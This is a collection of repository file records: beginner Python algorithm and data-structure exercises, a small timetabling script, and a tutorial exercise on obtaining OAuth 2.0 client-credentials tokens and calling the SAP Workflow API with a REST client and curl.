"is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 112, "num_lines": 24, "path": "/sorting/bubble.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def bubble_sort(the_list):\n \"\"\"\n Bubble sort passes through the list n - 1 times.\n On each pass, it compares each list item with the next, swapping them if the first is greater than the second.\n Time complexity of O(n^2), but average case can be improved by exiting on a pass with no swapping.\n \"\"\"\n\n pass_number = len(the_list) - 1\n swapped = True\n\n while pass_number > 0 and swapped:\n swapped = False\n for i in range(pass_number):\n if the_list[i] > the_list[i + 1]:\n swapped = True\n the_list[i], the_list[i + 1] = the_list[i + 1], the_list[i]\n\n pass_number = pass_number - 1\n\n return the_list\n\n\nif __name__ == '__main__':\n print bubble_sort([54, 26, 93, 17, 77, 31, 44, 55, 20])\n" }, { "alpha_fraction": 0.5680271983146667, "alphanum_fraction": 0.5986394286155701, "avg_line_length": 25.727272033691406, "blob_id": "06bf6e695c89633b69071b9d60131690eb0d58dd", "content_id": "020e1239252c34038396c22b97f7d5162cce2a1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 53, "num_lines": 11, "path": "/recursion/list_sum.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def list_sum(number_list):\n if len(number_list) == 1:\n return number_list[0]\n else:\n return number_list[0] + list_sum(number_list[1:])\n\nif __name__ == '__main__':\n number_list = [1, 3, 5, 7, 9]\n\n print 'Numbers: {}'.format(number_list)\n print 'Sum: {}'.format(list_sum(number_list))\n" }, { "alpha_fraction": 0.6121371984481812, "alphanum_fraction": 0.6543535590171814, "avg_line_length": 28.230770111083984, "blob_id": "6adadf5d1d7f10d077a1df45f32e47cf09c73cd4", "content_id": "1d83241ed9209acd64ce8374e71d2614c5073cc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "no_license", "max_line_length": 106, "num_lines": 13, "path": "/recursion/convert_num_to_base.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def convert_num_to_base(num, base):\n conversion_string = '0123456789ABCDEF'\n\n if num < base:\n return conversion_string[num]\n else:\n return convert_num_to_base(num // base, base) + conversion_string[num % base]\n\nif __name__ == '__main__':\n num = 1453\n base = 16\n\n print '{num} in base {base}: {result}'.format(num=num, base=base, result=convert_num_to_base(num, base))" }, { "alpha_fraction": 0.5410294532775879, "alphanum_fraction": 0.5459628105163574, "avg_line_length": 31.259946823120117, "blob_id": "0c7899e8b211af25aa35e9adf7090aef9e9e0242", "content_id": "23d5f98d4adac7efb5242e4715f661997ca2339c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12162, "license_type": "no_license", "max_line_length": 149, "num_lines": 377, "path": "/data_structures/trees.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "class BinaryTree:\n def __init__(self, root_object):\n self.key = root_object\n self.left_child = None\n self.right_child = None\n\n def insert_left(self, new_node):\n if self.left_child:\n new_tree = BinaryTree(new_node)\n new_tree.left_child = self.left_child\n self.left_child = new_tree\n else:\n self.left_child = BinaryTree(new_node)\n\n def insert_right(self, new_node):\n if self.right_child:\n new_tree = BinaryTree(new_node)\n new_tree.right_child = self.right_child\n self.right_child = new_tree\n else:\n self.right_child = BinaryTree(new_node)\n\n def get_right_child(self):\n return self.right_child\n\n def get_left_child(self):\n return self.left_child\n\n def set_root_value(self, new_object):\n self.key = new_object\n\n def get_root_value(self):\n return self.key\n\n\nclass MinHeap:\n def __init__(self):\n self.heap_list = [0]\n self.current_size = 0\n\n def insert(self, item):\n self.heap_list.append(item)\n self.current_size = self.current_size + 1\n self.perc_up(self.current_size)\n\n def perc_up(self, node_position):\n while node_position // 2 > 0:\n if self.heap_list[node_position] < self.heap_list[node_position // 2]:\n self.heap_list[node_position], self.heap_list[node_position // 2] = self.heap_list[node_position // 2], self.heap_list[node_position]\n node_position = node_position // 2\n\n def pop_min(self):\n min_value = self.heap_list[1]\n\n self.heap_list[1] = self.heap_list[self.current_size]\n self.current_size = self.current_size - 1\n self.heap_list.pop()\n self.perc_down(1)\n\n return min_value\n\n def perc_down(self, node_position):\n while node_position * 2 <= self.current_size:\n min_child = self.min_child(node_position)\n\n if self.heap_list[node_position] > self.heap_list[min_child]:\n self.heap_list[node_position], self.heap_list[min_child] = self.heap_list[min_child], self.heap_list[node_position]\n\n node_position = min_child\n\n def min_child(self, node_position):\n if node_position * 2 + 1 > self.current_size:\n return node_position * 2\n else:\n if self.heap_list[node_position * 2] < self.heap_list[node_position * 2 + 1]:\n return node_position * 2\n else:\n return node_position * 2 + 1\n\n def build_heap(self, a_list):\n i = len(a_list) // 2\n self.current_size = len(a_list)\n self.heap_list = [0] + a_list[:]\n\n while (i > 0):\n self.perc_down(i)\n i = i - 1\n\n\nclass MaxHeap:\n def __init__(self):\n self.heap_list = [0]\n self.current_size = 0\n\n def insert(self, item):\n self.heap_list.append(item)\n self.current_size = self.current_size + 1\n self.perc_up(self.current_size)\n\n def perc_up(self, node_position):\n while node_position // 2 > 0:\n if self.heap_list[node_position] > self.heap_list[node_position // 2]:\n self.heap_list[node_position], self.heap_list[node_position // 2] = self.heap_list[node_position // 2], self.heap_list[node_position]\n node_position = node_position // 2\n\n def pop_max(self):\n max_value = self.heap_list[1]\n\n self.heap_list[1] = self.heap_list[self.current_size]\n self.current_size = self.current_size - 1\n self.heap_list.pop()\n self.perc_down(1)\n\n return max_value\n\n def perc_down(self, node_position):\n while node_position * 2 <= self.current_size:\n max_child = self.max_child(node_position)\n\n if self.heap_list[node_position] < self.heap_list[max_child]:\n self.heap_list[node_position], self.heap_list[max_child] = self.heap_list[max_child], self.heap_list[node_position]\n\n node_position = max_child\n\n def max_child(self, node_position):\n if node_position * 2 + 1 > self.current_size:\n return node_position * 2\n else:\n if self.heap_list[node_position * 2] > self.heap_list[node_position * 2 + 1]:\n return node_position * 2\n else:\n return node_position * 2 + 1\n\n def build_heap(self, a_list):\n i = len(a_list) // 2\n self.current_size = len(a_list)\n self.heap_list = [0] + a_list\n\n while i > 0:\n self.perc_down(i)\n i = i - 1\n\n\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n self.size = 0\n\n def length(self):\n return self.size\n\n def __len__(self):\n return self.size\n\n def __iter__(self):\n return self.root.__iter__()\n\n def __repr__(self):\n return str([(key, self[key]) for key in self])\n\n def put(self, key, value):\n if self.root:\n self._put(key, value, self.root)\n else:\n self.root = TreeNode(key, value)\n\n self.size = self.size + 1\n\n def _put(self, key, value, current_node):\n if key < current_node.key:\n if current_node.has_left_child():\n self._put(key, value, current_node.left_child)\n else:\n current_node.left_child = TreeNode(key, value, parent=current_node)\n elif key > current_node.key:\n if current_node.has_right_child():\n self._put(key, value, current_node.right_child)\n else:\n current_node.right_child = TreeNode(key, value, parent=current_node)\n else:\n current_node.replace_node_data(key, value, current_node.left_child, current_node.right_child)\n\n def __setitem__(self, key, value):\n self.put(key, value)\n\n def get(self, key):\n if self.root:\n result = self._get(key, self.root)\n\n if result:\n return result.payload\n else:\n return None\n\n else:\n return None\n\n def _get(self, key, current_node):\n if not current_node:\n return None\n elif key == current_node.key:\n return current_node\n elif key < current_node.key:\n return self._get(key, current_node.left_child)\n else:\n return self._get(key, current_node.right_child)\n\n def __getitem__(self, key):\n return self.get(key)\n\n def __contains__(self, key):\n if self._get(key, self.root):\n return True\n else:\n return False\n\n def delete(self, key):\n if self.size > 1:\n node_to_remove = self._get(key, self.root)\n\n if node_to_remove:\n self.remove(node_to_remove)\n self.size = self.size - 1\n else:\n raise KeyError('Key \"{}\" not in tree'.format(key))\n elif self.size == 1 and self.root.key == key:\n self.root = None\n self.size = self.size - 1\n else:\n raise KeyError('Key \"{}\" not in tree'.format(key))\n\n def remove(self, node_to_remove):\n if node_to_remove.is_leaf():\n if node_to_remove == node_to_remove.parent.left_child:\n node_to_remove.parent.left_child = None\n else:\n node_to_remove.parent.right_child = None\n\n elif node_to_remove.has_both_children():\n successor = node_to_remove.find_successor()\n successor.splice_out()\n\n node_to_remove.key = successor.key\n node_to_remove.payload = successor.payload\n\n else:\n if node_to_remove.has_left_child():\n if node_to_remove.is_left_child():\n node_to_remove.left_child.parent = node_to_remove.parent\n node_to_remove.parent.left_child = node_to_remove.left_child\n elif node_to_remove.is_right_child():\n node_to_remove.left_child.parent = node_to_remove.parent\n node_to_remove.parent.right_child = node_to_remove.left_child\n else:\n node_to_remove.replace_node_data(node_to_remove.left_child.key,\n node_to_remove.left_child.payload,\n node_to_remove.left_child.left_child,\n node_to_remove.left_child.right_child)\n\n else:\n if node_to_remove.is_left_child():\n node_to_remove.right_child.parent = node_to_remove.parent\n node_to_remove.parent.left_child = node_to_remove.right_child\n elif node_to_remove.is_right_child():\n node_to_remove.right_child.parent = node_to_remove.parent\n node_to_remove.parent.right_child = node_to_remove.right_child\n else:\n node_to_remove.replace_node_data(node_to_remove.right_child.key,\n node_to_remove.right_child.payload,\n node_to_remove.right_child.left_child.\n node_to_remove.right_child.right_child)\n\n def __delitem__(self, key):\n self.delete(key)\n\n\nclass TreeNode:\n def __init__(self, key, value, left=None, right=None, parent=None):\n self.key = key\n self.payload = value\n self.left_child = left\n self.right_child = right\n self.parent = parent\n\n def has_left_child(self):\n return self.left_child\n\n def has_right_child(self):\n return self.right_child\n\n def is_left_child(self):\n return self.parent and self.parent.left_child == self\n\n def is_right_child(self):\n return self.parent and self.parent.right_child == self\n\n def is_root(self):\n return not self.parent\n\n def is_leaf(self):\n return not (self.left_child or self.right_child)\n\n def has_any_children(self):\n return self.right_child or self.left_child\n\n def has_both_children(self):\n return self.right_child and self.left_child\n\n def find_successor(self):\n successor = None\n\n if self.has_right_child():\n successor = self.right_child.find_min()\n\n else:\n if self.parent:\n if self.is_left_child():\n successor = self.parent\n else:\n self.parent.right_child = None\n successor = self.parent.find_successor()\n self.parent.right_child = self\n\n return successor\n\n def find_min(self):\n current_node = self\n\n while current_node.has_left_child():\n current_node = current_node.left_child\n\n return current_node\n\n def splice_out(self):\n if self.is_leaf():\n if self.is_left_child():\n self.parent.left_child = None\n else:\n self.parent.right_child = None\n elif self.has_any_children():\n if self.has_left_child():\n if self.is_left_child():\n self.parent.left_child = self.left_child\n else:\n self.parent.right_child = self.left_child\n\n self.left_child.parent = self.parent\n\n else:\n if self.is_left_child():\n self.parent.left_child = self.right_child\n else:\n self.parent.right_child = self.right_child\n\n self.right_child.parent = self.parent\n\n def replace_node_data(self, key, value, left_child, right_child):\n self.key = key\n self.payload = value\n self.left_child = left_child\n self.right_child = right_child\n if self.has_right_child():\n self.left_child.parent = self\n if self.has_right_child():\n self.right_child.parent = self\n\n def __iter__(self):\n if self:\n if self.has_left_child():\n for node in self.left_child:\n yield node\n\n yield self.key\n\n if self.has_right_child():\n for node in self.right_child:\n yield node\n" }, { "alpha_fraction": 0.6066115498542786, "alphanum_fraction": 0.6462810039520264, "avg_line_length": 32.61111068725586, "blob_id": "df771f4880bdb5462519c908a74ecc6aaafdb73c", "content_id": "073191760d2c22f03cea136c10f63c632cde3ac0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 605, "license_type": "no_license", "max_line_length": 138, "num_lines": 18, "path": "/sorting/selection.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def selection_sort(the_list):\n \"\"\"\n Selection sort is similar to bubble sort, but improves on it by only making one exchange per pass - moving the greatest item to the end.\n \"\"\"\n\n for fill_slot in range(len(the_list) - 1, 0, -1):\n position_of_max = 0\n\n for location in range(1, fill_slot + 1):\n if the_list[location] > the_list[position_of_max]:\n position_of_max = location\n\n the_list[fill_slot], the_list[position_of_max] = the_list[position_of_max], the_list[fill_slot]\n\n return the_list\n\nif __name__ == '__main__':\n print selection_sort([54, 26, 93, 17, 77, 31, 44, 55, 20])\n" }, { "alpha_fraction": 0.5275229215621948, "alphanum_fraction": 0.5802752375602722, "avg_line_length": 28.133333206176758, "blob_id": "12e24eda00bbb11bf0ada9a0ae49fd45c55d0468", "content_id": "87b30c6f457e7b89ad02818877fb109b9b0570be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "no_license", "max_line_length": 70, "num_lines": 15, "path": "/sorting/insertion.py", "repo_name": "PeterLD/algorithms", "src_encoding": "UTF-8", "text": "def insertion_sort(the_list):\n for i in range(1, len(the_list)):\n current_value = the_list[i]\n position = i\n\n while position > 0 and the_list[position - 1] > current_value:\n the_list[position] = the_list[position - 1]\n position = position - 1\n\n the_list[position] = current_value\n\n return the_list\n\nif __name__ == '__main__':\n print insertion_sort([54,26,93,17,77,31,44,55,20])" } ]
11
dbsduddn2000/TTC-Timetable_Creator
https://github.com/dbsduddn2000/TTC-Timetable_Creator
986fc0b70d7d877c47a2212e637183309111d24e
eb029cc282e4c930e85e45279e6c2c5f4bc531ad
38294b56e82a9986ca79e2e12f9673f89e1c4b99
refs/heads/master
2022-12-23T11:39:15.550754
2020-10-01T06:35:50
2020-10-01T06:35:50
300,186,464
0
0
null
2020-10-01T07:24:44
2020-10-01T07:19:51
2020-10-01T07:19:49
null
[ { "alpha_fraction": 0.45414847135543823, "alphanum_fraction": 0.5065501928329468, "avg_line_length": 22.461538314819336, "blob_id": "716f21c30d84009274cb2566e75f06b8ba0c2761", "content_id": "243fc888d9bdf1dd7b7cb72927c34023691be257", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 916, "license_type": "no_license", "max_line_length": 86, "num_lines": 39, "path": "/timetabling.py", "repo_name": "dbsduddn2000/TTC-Timetable_Creator", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\ntime = [[0] * 6]*18 # am9~pm6, mon~fri, 1 index = 30min\n\nfor i in time:\n for j in i:\n j = \"0\" # make array index all 0. 0 means there is no class in that time.\n\ntimealpa = [[0]*18] # transform the time (ex: 2A -> 10:00) we will save starting time.\ntimenum = [[0]*18]\nstartclass = 9\n\nfor i in range(1):\n for j in range(18):\n if j%2 == 0:\n timealpa[i][j] = str((j//2)+1) + 'A'\n else:\n timealpa[i][j] = str((j//2)+1) + 'B'\n\nfor i in range(1):\n for j in range(18):\n timenum[i][j] = str(startclass)\n startclass = startclass + 0.5\n\nf = open(\"2020_CS.txt\", 'r')\n\nwhile True:\n line = f.readline()\n if not line:\n break\n for k in range(18):\n result = line.find(timealpa[0][k])\n if result == -1:\n continue\n else:\n print(timealpa[0][k])\n print()\n\nf.close()\n\n" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 33.75, "blob_id": "717c5a2fd0d9f1322f0d7787d577cd801d227276", "content_id": "235a53d8acf1c095d1992c2dfdc60790e4bb28e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 143, "license_type": "no_license", "max_line_length": 110, "num_lines": 4, "path": "/README.md", "repo_name": "dbsduddn2000/TTC-Timetable_Creator", "src_encoding": "UTF-8", "text": "# TTC : Timetable Creator\n\n\n![image](https://user-images.githubusercontent.com/62656584/92995126-5ff52b80-f53b-11ea-99cc-7aef388a7fab.png)\n\n\n\n\n" } ]
2
vishalkwatra/cloud-apis-virtual-event
https://github.com/vishalkwatra/cloud-apis-virtual-event
463903c7d8663a1344a688c7e0a2c4f397cb2210
941df790dc96605ea065e483e3bdb878da69e3ab
232f6dffa0bb4801c619b55ca4befb8faea3b25b
refs/heads/main
2023-09-04T06:08:50.412261
2021-11-13T00:04:04
2021-11-13T00:04:04
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7261947989463806, "alphanum_fraction": 0.7527015805244446, "avg_line_length": 50.252525329589844, "blob_id": "a6376f1191684b323873e76333d2f158aa3655ff", "content_id": "470f0c3278227fa5238a456cd7ef1669e170d124", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30445, "license_type": "permissive", "max_line_length": 549, "num_lines": 594, "path": "/exercises/05/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 05 - Workflow API calls, authorities, access token contents & more\n\nThanks to the previous exercises, you have everything you need to make some Workflow API calls now. You have tools in your App Studio dev space that will enhance your experience, you have a workflow definition deployed to a Workflow service instance, and you have OAuth 2.0 authentication details in a service key that you will make use of now. In this exercise you'll make your first Workflow API call, and learn about authorities (aka \"scopes\") and the content of access tokens. You'll make your first API call from the command line.\n\n## Steps\n\n[1. Prepare for your first Workflow API call](#1-prepare-for-your-first-workflow-api-call)<br>\n[2. Make your first Workflow API call](#2-make-your-first-workflow-api-call)<br>\n[3. Inspect the contents of the access token](#3-inspect-the-contents-of-the-access-token)<br>\n[4. Update the Workflow service instance with a list of required authorities](#4-update-the-workflow-service-instance-with-a-list-of-required-authorities)<br>\n[5. Check the authorities in subsequent access tokens](#5-check-the-authorities-in-subsequent-access-tokens)<br>\n[6. Make another API call to `/v1/workflow-definitions`](#6-make-another-api-call-to-v1workflow-definitions)<br>\n[7. Explore further Workflow API endpoints with the `workflow` script](#7-explore-further-workflow-api-endpoints-with-the-workflow-script)\n\nAfter following the steps in this exercise, you'll have some familiarity with calling Workflow APIs, and will have gained some understanding of what's required to do so.\n\n### 1. Prepare for your first Workflow API call\n\nWe have a workflow definition deployed. To start off, let's use the API to request a list of workflow definitions where we should see it.\n\n:point_right: Jump over to the API Hub and look in there to see the resource information for the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource). In the Workflow Definitions group (select it on the left hand side of the page, in the list of groups that we first encountered in [exercise 01](../01#1-get-an-introduction-to-the-sap-api-business-hub)) we see this HTTP method and endpoint:\n\n![GET /v1/workflow-definitions](get-workflow-definitions-endpoint.png)\n\nGreat, that seems to be what we want. We can make this API call by sending an HTTP GET request to the `/v1/workflow-definitions` endpoint. This of course is just the path info, which is going to be relative to the fully qualified hostname and base path of the Resource Server. What is this? Well, we can look for it in the API Hub, by switching to the [details](https://api.sap.com/api/SAP_CP_Workflow_CF/overview) section, and identifying the Production URL appropriate to our environment:\n\n![Production URLs for Workflow API on CF](production-urls.png)\n\nAs we know now from [exercise 02](../02/), the Workflow APIs are protected with the OAuth 2.0 Client Credentials grant type. So in preparing for our first call, we need to gather what we need to request an access token to use in that flow. Because of how the Client Credentials grant type flow works, we'll be making the call in two stages:\n\n- Stage 1 is requesting an access token\n- Stage 2 is then using the access token in the actual call to the API endpoint\n\nAll the information we need is in our service key, which we have in the `workflow-lite-sk1.json` file. As you may remember, in order to obtain an access token, we need to send a request to the Authorization Server, specifically to the \"token request\" endpoint which is at the well-known path of `/oauth/token`.\n\n:point_right: Make sure you have all the following information to hand:\n\n**For stage 1 - requesting the access token**\n\n|What|Where this value is|\n|-|-|\n|The Authorization Server base URL|`.uaa.url` (in the service key)|\n|The client ID|`.uaa.clientid` (in the service key)|\n|The client secret|`.uaa.clientsecret` (in the service key)|\n\n**For stage 2 - making the actual call to the API endpoint**\n\n|What|Where this value is|\n|-|-|\n|The Resource Server base URL|`.endpoints.workflow_rest_url` (in the service key)|\n|The access token|Received in the response to the call in stage 1|\n\nThe App Studio supports the [VS Code REST Client](https://marketplace.visualstudio.com/items?itemName=humao.rest-client) extension, which means that we can make HTTP calls easily by editing contents in files with the `.http` extension. That's how we're going to make our first API call.\n\n:point_right: There's a file in the `workflowapi/` directory called [`first-api-call.http`](../../workspaces/workflowapi/first-api-call.http). Open that up in the App Studio editor, and you should see a couple of HTTP calls, one for each of the stages described above. The calls are separated from each other with `###` and in each call there are placeholders denoted by the content in square brackets (`[ ... ]`) that you will have to fill in.\n\nThie is what the file contents look like:\n\n```\n# Request OAuth 2.0 access token via client credentials grant type\nSend Request\nPOST [.uaa.url]/oauth/token\nAuthorization: Basic [.uaa.clientid] [.uaa.clientsecret]\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=client_credentials\n\n###\n\n# Use access token to make API call to list workflow definitions\nSend Request\nGET [.endpoints.workflow_rest_url]/v1/workflow-definitions\nAuthorization: Bearer [the access token retrieved from the previous request]\n```\n\n> The \"Send Request\" strings are not actually part of the file's contents, they are placed there by the extension for us to click on when we want to make the calls.\n\n:point_right: Replace each of the placeholders (including the actual square brackets) for the first HTTP call with the values you've gathered earlier in this step. Notice that there's a space between the `[.uaa.clientid]` and `[.uaa.clientsecret]` - make sure you preserve this space (the REST Client supports this format of username and password, and will [automatically perform the required Base 64 encoding](https://github.com/Huachao/vscode-restclient#basic-auth)).\n\nHere's an example of what the first HTTP call details will look like when you've performed the replacements (note that the client ID and secret have been shortened here for display reasons, and note also that your values will be different!):\n\n```\n# Request OAuth 2.0 access token via client credentials grant type\nSend Request\nPOST https://a52544d1trial.authentication.eu10.hana.ondemand.com/oauth/token\nAuthorization: Basic sb-clone-b09d9...b10150 bc8b5...ad3DJtMLqjYuCo=\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=client_credentials\n```\n\n:point_right: Now use the **Send Request** link that is part of the first HTTP call details to make the call to the Authorization Server to request an access token.\n\nA response should appear in a new tab, that will look something like this (the value of the access token has been shortened for display purposes):\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-store\nContent-Type: application/json;charset=UTF-8\nDate: Mon, 21 Sep 2020 07:20:41 GMT\nPragma: no-cache\nServer: nginx\nX-Content-Type-Options: nosniff\nX-Frame-Options: DENY\nX-Vcap-Request-Id: 972b496c-fbe2-4a48-55f4-8660a009f23b\nX-Xss-Protection: 1; mode=block\nConnection: close\nTransfer-Encoding: chunked\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload;\n\n{\n \"access_token\": \"eyJhMDlkOWZjZi1hNDE4LTQ0YzgtOTU4OS1lYmFiZWE2NTRjYjchYjU1ODg5fHdvcmtmbG93IWIxMDE1MCIsImdyYW50X3R5cGUiOiJjbGllbnRfY3JlZGVudGlhbHMiLCJyZXZfc2lnIjoiNzI5NmM4OTIiLCJpYXQiOjE2MDA2NzI4NDEsImV4cCI6MTYwMDcxNjA0MSwiaXNzIjoiaHR0cHM6Ly9hNTI1NDRkMXRyaWFsLmF1dGhlbnRpY2F0aW9uLmV1MTAuaGFuYS5vbmRlbWFuZC5jb20vb2F1dGgvdG9rZW4iLCJ6aWQiOiJmZDAzNDAyZS01OGM3LTRmYjgtOTQ0My01ZDBmYTJhNTMzZjQiLCJhdWQiOlsidWFhIiwid29ya2Zsb3chYjEwMTUwIiwic2ItY2xvbmUtYjA5ZDlmY2YtYTQxOC00NGM4LTk1ODktZWJhYmVhNjU0Y2I3IWI1NTg4OXx3b3JrZmxvdyFiMTAxNTAiXX0.N2hoBrcoG4eUZLBjGYzkjPlaxXd4BlcgOeinEzCtob3-XJTNK485_dGJ0MA6Qg0c8FayNfa3c9seK6QDlan_O3w3_Jd4l7jjO7tEm0GVPrxEKZuDu86fbQEPrSZWNaDjKrRDQxNEeyUQphh1zopdyyl9PjBTe-1MkQcEfFbB4udBCAEEnTX9kVPr53HtAaRk-HCD9VwHKvRzZ1Dlw3mEv7FLurqmZSV1F7jehhjeBVcDZZvuftJ1wThewlqu_K3NMUs09OzFkBmIXpbRRNR6YOlT37BkKeGI_v_-sZGtfjtSmzUas4AKh1zEjAC3u79M93T9fVY7WZJCY8Kzpp8G9w\",\n \"token_type\": \"bearer\",\n \"expires_in\": 43199,\n \"scope\": \"workflow!b10150.TASK_GET workflow!b10150.PROCESS_TEMPLATE_DEPLOY workflow!b10150.PROCESS_VARIANT_DEPLOY uaa.resource workflow!b10150.FORM_DEFINITION_DEPLOY workflow!b10150.TASK_DEFINITION_GET workflow!b10150.WORKFLOW_DEFINITION_DEPLOY\",\n \"jti\": \"ea3a8496e3c24c858384441c9619180e\"\n}\n```\n\nGreat! You've successfully obtained an access token from the Authorization Server in a client credentials flow based call. \n\nNow it's time to actually make the API call.\n\n\n### 2. Make your first Workflow API call\n\n\nNow the moment of truth - stage 2 (of the two-stage process described above) where we're going to make a GET request to the `/v1/workflow-definitions` API endpoint.\n\n:point_right: Focus now on the second HTTP request in the `first-api-call.http` file, and replace the placeholder values as described earlier. Make sure you copy the whole value of the `access_token` property in the response to the call in stage 1.\n\nAfter the placeholder replacements, the second HTTP request in the file should look something like this (again, the access token has been shortened here for display purposes):\n\n```\n# Use access token to make API call to list workflow definitions\nSend Request\nGET https://api.workflow-sap.cfapps.eu10.hana.ondemand.com/workflow-service/rest/v1/workflow-definitions\nAuthorization: Bearer NTAiXX0.N2hoBrcoG4eUZ...kKeGI_v_-sZGtfjtSmzUas4AKh1zEjAC3u79M93T9fVY7WZJCY8Kzpp8G9w\n```\n\n> Make sure you preserve the space between `Bearer` and the actual access token value in the `Authorization` header.\n\nReady?\n\n:point_right: Use the **Send Request** link that is part of this second HTTP request's details to invoke the request.\n\nYou should get back a response, like this:\n\n```\nHTTP/1.1 403 Forbidden\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\nContent-Length: 65\nContent-Type: application/json;charset=UTF-8\nDate: Mon, 21 Sep 2020 07:34:58 GMT\nExpires: 0\nPragma: no-cache\nServer: SAP\nX-Content-Type-Options: nosniff, nosniff\nX-Frame-Options: DENY\nX-Vcap-Request-Id: bb44cf53-e30f-407f-6740-8f94fd412e80\nX-Xss-Protection: 1; mode=block\nConnection: close\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload;\n\n{\n \"error\": {\n \"message\": \"User does not have sufficient privileges.\"\n }\n}\n```\n\nErr, wait a minute...\n\nThe HTTP response code returned (403) and the message in the payload might come initially as somewhat of a surprise. \n\nWhy are we denied access? Were the client ID & client secret credentials incorrect? Well, no, because we were successfully granted an access code based upon them. So what's happened is that the identity that is represented by the access token is recognized, but that identity doesn't have the appropriate access for this particular API call.\n\n\n### 3. Inspect the contents of the access token\n\nLet's briefly take stock of where we are. We've got an access token that we successfully retrieved from the Authorization Server. But that access token, as it stands, is not enough to allow us to make the API call to the `/v1/workflow-definitions` endpoint. Can we dig in a little bit to see what's going on? Well, we have a terminal at our disposal, and some useful tools. So the answer is \"of course we can\"!\n\nBefore we do, though - consider that making the two-stage call was quite cumbersome. Using the REST Client is very useful in many circumstances, but when OAuth 2.0 flows are involved, there are other, perhaps more convenient options. One is to use the environments facility within the API Hub (which we'll do in the next exercise), another is to automate some of the process ourselves. That's what we'll do here, so that we can remain in the App Studio while staying close to the flow so that we don't lose sight or understanding of what's going on.\n\n:point_right: Look in the `workflowapi/` directory and open the [`workflow`](../../workspaces/workflowapi/workflow) file that's in there. It's a shell script that we can run in the terminal. Take a brief look at it; don't worry if you don't understand it all, just read enough to get a general impression of it.\n\nHere's a summary of what's in there, going from top to bottom:\n\n- \"sourcing shared\": the [`shared`](../../workspaces/workflowapi/shared) file is sourced, bringing in the values (such as the instance name, service key name, and so on) that we've used earlier\n- \"function definitions\": a number of functions are defined, such as `get_access_token` and `list_workflow_definitions` - these two examples happen to reflect exactly the two HTTP requests we executed in the two-stage process earlier\n- \"command variable\": all the functions are listed in a `command` variable\n- \"service key value retrieval\": the OAuth 2.0 values (`clientid`, `clientsecret` and `authserver`) and the Resource Server API root URL (`resourceserverapiroot`) are retrieved from the service key file\n- \"list possible commands\": if no command is given when the script is invoked, the possible commands are listed and then the script exits\n- \"get access token and invoke command\": otherwise an access token is retrieved (using the `get_access_token` function) and then the requested command is executed by calling the appropriate function\n\n> The script is deliberately basic and definitely ripe for improvements, but has been kept like this to strike a balance between simplicity and practicality. Also, the astute amongst you will point out that we don't need to retrieve a fresh access token for every API call - the tokens have a lifetime that lasts for quite a while - but again, for simplicity's sake, that's what we do here.\n\n:point_right: Try the script out by running it in the terminal (remember you need to still be in the `workflowapi/` directory here):\n\n```shell\n> ./workflow\n```\n\nBecause you didn't specify any command, it lists what's possible (or more accurately, what's in the `commands` variable):\n\n```\nadd_authorities\nget_access_token\nlist_workflow_definitions\nlist_workflow_instances\nstart_workflow_instance\n```\n\n> The `commands` variable is used in a more complex version of this script to provide [command completion](https://tldp.org/LDP/abs/html/tabexpansion.html); if you're interested in learning more, check out the `management` and `management.completion` script pair in the [cloud-messaging-handsonsapdev](https://github.com/SAP-samples/cloud-messaging-handsonsapdev) repo.\n\nLet's generate a new access token, with a view to inspecting it. Rather than use the first HTTP call in the REST Client `first-api-call.http` file, let's use this `workflow` script to generate ourselves an access token on the command line. First though, let's make sure we understand what will happen when we make the invocation.\n\n:point_right: Look inside the `workflow` script again, and take a look at the \"service key value retrieval\" section; you'll see that it retrieves values for `clientid`, `clientsecret` and `authserver` variables. Now look at the `get_access_token` function definition, where you'll see these three variables referenced in a call to [`curl`](https://curl.haxx.se/), the powerful command line HTTP client (that's available in the App Studio's terminal shell environment).\n\nThis is what the invocation looks like, in the context of the `get_access_token` function itself:\n\n```bash\n# Retrieve an access token using the Client Credentials grant type\nget_access_token () {\n curl \\\n --\"$output\" \\\n --user \"$clientid:$clientsecret\" \\\n --data \"grant_type=client_credentials\" \\\n \"$authserver/oauth/token\" \\\n | jq -r .access_token\n}\n```\n\nYou can check out the options in the `curl` documentation, but here's a summary of what we see:\n\n- given that the value of `$output` is set to `silent` (see near the top of the script), the call will be executed quietly with no extraneous logging\n- with the `--user` option we can supply a username and password which will be Base 64 encoded into a Basic Authentication header\n- the `--data` option gives us the opportunity to supply content that will be passed in the payload (body) of the request; note that the content is exactly what we passed when we first requested an access token with the REST Client, i.e. `grant_type=client_credentials`\n- the actual URL is made up from the value of the `authserver` variable, with path info `/oauth/token` appended\n- the content type that is sent by default (and therefore not specified explicitly here) in a `curl` request is `application/x-www-form-urlencoded` which is exactly appropriate for what we want to 